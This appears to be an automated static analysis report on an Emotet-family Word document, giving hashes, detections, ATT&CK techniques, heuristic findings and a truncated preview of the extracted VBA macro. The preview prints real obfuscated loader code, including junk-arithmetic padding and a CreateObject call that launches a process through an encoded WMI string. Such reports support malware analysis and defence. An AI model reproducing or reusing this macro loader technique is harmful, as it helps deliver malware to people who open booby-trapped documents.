Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 61435ff039c30c6a…

MALICIOUS

Office (OLE)

152.5 KB Created: 2019-09-23 06:57:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 3666aa4a5e3a30792782348bad5052b7 SHA-1: 9196764e3029731c84d864c4782fe64d5440a59f SHA-256: 61435ff039c30c6ab0b7d7fd52db5f953e485899948dd0bc7231372f2b322577
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Reverse Engineer

The sample is a malicious Office document containing a heavily obfuscated VBA macro. Heuristics indicate this macro uses CreateObject and execution tokens, typical of loaders. ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-7178007-0', strongly suggesting Emotet family and a downloader function. The macro's obfuscation and auto-execution markers point to its primary role as a loader for a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7178007-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7178007-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29327 bytes
SHA-256: 934ed564ad38d106565f6b6643c8a916b3b13b7a37463ced4ce915eefc2ab217
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Twl6jjzj, 0, 0, MSForms, TextBox"
Attribute VB_Control = "ld4CCGZ, 1, 1, MSForms, TextBox"
Attribute VB_Control = "wIzXHGzi, 2, 2, MSForms, TextBox"
Attribute VB_Control = "WftjwJSv, 3, 3, MSForms, TextBox"
Attribute VB_Control = "H85tHVX, 4, 4, MSForms, TextBox"
Attribute VB_Control = "BmWDjUE, 5, 5, MSForms, TextBox"
Attribute VB_Control = "GaUqEW, 6, 6, MSForms, TextBox"
Attribute VB_Control = "XdiYh8, 7, 7, MSForms, TextBox"
Attribute VB_Control = "YUEbJOu0, 8, 8, MSForms, TextBox"
Attribute VB_Control = "ti18PAc, 9, 9, MSForms, TextBox"
Attribute VB_Control = "qZw9Lksz, 10, 10, MSForms, TextBox"
Attribute VB_Control = "rjFD_c_, 11, 11, MSForms, TextBox"
Attribute VB_Control = "j0IJ6iN5, 12, 12, MSForms, TextBox"
Attribute VB_Control = "aLPz1dFr, 13, 13, MSForms, TextBox"
Attribute VB_Control = "nDHh05D3, 14, 14, MSForms, TextBox"
Attribute VB_Control = "ojlZV0j, 15, 15, MSForms, TextBox"
Attribute VB_Control = "SUcYjLw4, 16, 16, MSForms, TextBox"
Attribute VB_Control = "zk1c35, 17, 17, MSForms, TextBox"
Attribute VB_Control = "CtMQXwj, 18, 18, MSForms, TextBox"
Attribute VB_Control = "u5diCCfC, 19, 19, MSForms, TextBox"

Attribute VB_Name = "oYitPl7"
Function wZi6skaB()
   On Error Resume Next
   Do
      If FRB8CKU5 = IUIQzn Then
         zSQUYLj = UmAiaCP _
         - Hex(957 + Oct(532 / Round(334))) _
         + 979 - Fix(wPBR7i) - 787 - Ej72iR_A _
         - iw42YC * Sin(OwlvR58u)
         cqXsYk = Tan(289)
      End If
         Dl6UAd = diLI2_j_ _
         * Round(LURC5u) / Xku9YSuY / B8vIkV + (cjKjGXa _
         / Sin(ntCsKrC) / 212 * Sin(KlJ4YdB))
      For Each QaFv8sfL In udWhL80p
         sPtI0It = GshqaGwR * Round(QM0kOGI2) _
         / zZwGAGEr / q_PjAGXw + (Tp04mO4 / Sin(B1RpRts) _
         / 945 * Sin(hTCGUN9))

      Next
Loop Until YkHtV5nl = wizOYM6
zdJirMzZ = QYSPt_aX + RwEAZfP(ThisDocument.nDHh05D3 + ThisDocument.XdiYh8) + QN_6PLz
   On Error Resume Next
   Do
      If nY7jiST = XhTIzWfn Then
         SRWDwwRr = Oqw6si _
         - Hex(854 + Oct(510 / Round(307))) _
         + 436 - Fix(Hj6MDi) - 910 - HBj81X _
         - wQZVHt * Sin(hZhzvZa)
         Zic1JO3 = Tan(831)
      End If
         hQKtf5Yj = Ek5ZTTi _
         * Round(fTulNiW4) / oChqXE8 / vnYPb0O4 + (Hjlk7D _
         / Sin(i9OIBjFL) / 357 * Sin(uhUX4nt))
      For Each DTm0mz In vLdmn8KQ
         om1KPlq0 = oo02m1Wl * Round(fWN4KA68) _
         / IGZ78sY / BTotD5 + (j_zkkN / Sin(WZ8_Oq) _
         / 585 * Sin(YkrOD55c))

      Next
Loop Until Bq0nJ04 = zi_k46

CreateObject(RwEAZfP("yiwawiyiwayiwayiwanmgmyiwatsyiwayiwa:yiwayiwaWiyiwayiwanyiwa3yiwa2yiwa_yiwaProyiwaceyiwassyiwayiwa")).Create zdJirMzZ, Q3Zj5w2, trYYzNbS, wMIGiH
   On Error Resume Next
   Do
      If Vt9VjUk = mCbjNRv Then
         EmcGPbrh = PrRXmNVG _
         - Hex(340 + Oct(256 / Round(607))) _
         + 761 - Fix(R1SNLV) - 390 - ZPhpK4 _
         - AUijo0 * Sin(Czdp1W4K)
         iQUP66t = Tan(11)
      End If
         QNojYz = AnLkWD _
         * Round(T3DbHX) / fST1wak / wcmZTF + (J3h3_ON _
         / Sin(cCp078) / 391 * Sin(vFdmal))
      For Each Sam2vDz In zfztmD
         j3hIQAjv = zYwvQii * Round(fAUiQi60) _
         / QTCXnt / NGaFGZq + (OMPVP0Qj / Sin(UQoVBFs) _
         / 356 * Sin(zBJBh9))

      Next
Loop Until Tf67wir = JrEVz2pW

   On Error Resume Next
   Do
      If fofhqZp = c3ZICNo Then
         vwQT6ubP = sXILR_U2 _
         - Hex(207 + Oct(361 / Round(258))) _
         + 343 - Fix(hoPBVCDV) - 574 - qfsqdFY _
         - nFbb8BIZ * Sin(HtXhdC)
         M04rG6X = Tan(420)
      End If
         jctMmCI = LNTANnWN _
         * Round(X0OoMhJT) / wjDCqc / wirOLlzD + (nQU5tf _
         / Sin(XzjqcuS) / 845 * Sin(kKQVwqYR))
      For Each LznzJR In duEzimS
  
... (truncated)

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